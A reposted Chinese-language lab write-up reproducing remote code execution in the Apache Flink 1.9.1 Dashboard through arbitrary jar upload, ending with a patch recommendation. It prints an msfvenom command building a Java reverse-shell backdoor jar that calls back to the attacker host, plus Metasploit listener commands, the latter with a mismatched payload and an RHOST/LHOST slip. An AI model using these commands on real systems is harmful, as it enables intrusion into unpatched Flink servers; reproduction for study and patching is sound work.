Apache Flink 任意 Jar 包上传致 RCE 漏洞复现

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Apache Flink 任意 Jar 包上传致 RCE 漏洞复现相关的知识,希望对你有一定的参考价值。

0x00简介

Apache Flink是近几年大火的数据处理引擎。受到各大厂商的推崇并且已经应用与实际的业务场景中。很多公司在进行选型的时候都会选择Apache Flink作为选型的对象。

Apache Flink能用来做什么?

l 实时推荐系统

l 实时报表

l 实时数仓与ETL

l 复杂事件处理

l 实时欺诈与实时信用评估

l 大数据安全监测
技术图片

Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任务。

0x01漏洞介绍

***者可直接在Apache Flink Dashboard页面中上传任意jar包,从而达到远程代码执行的目的

0x02影响范围

至目前Apache Flink 1.9.1版本

0x03环境搭建

***机kali:192.168.10.147

受害机Ubuntu:192.168.10.176

测试环境:Flink 1.9.1 java8+

Apache Flink 1.9.1安装包下载:

<a href="https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz">https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz</a>;

下载完成后使用解压

tar zxvf flink-1.9.1-bin-scala_2.11.tgz

技术图片

进入bin目录运行./start-cluster.sh启动环境
技术图片

环境搭建成功 目标站点

http://192.168.10.176:8081
技术图片

0x04漏洞复现

1、使用kali生成jar后门包

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.10.147 LPORT=2020 -f jar > shell.jar

技术图片

2、***机访问目标站点 并上传shell.jar

技术图片

3、使用kali配置监听

use exploit/multi/handler

set payload java/shell/reverse_tcp

set RHOST 192.168.10.147

set LPORT 2020

run

技术图片

4、点开刚刚上传的shell.jar,触发漏洞

技术图片技术图片

0x05修复方式

更新官方补丁或更新最新版本

以上是关于Apache Flink 任意 Jar 包上传致 RCE 漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

Apache Flink 任意jar包上传漏洞

复现CVE-2020-17518——Apache Flink upload 远程命令执行漏洞

如何通过在 Apache Flink 中使用上传的 jar 来提交作业?

CVE-2020-17518 flink任意文件上传漏洞复现

Apache Flink - 外部 Jar

Flink On Yarn模式, 限制任务上传的数量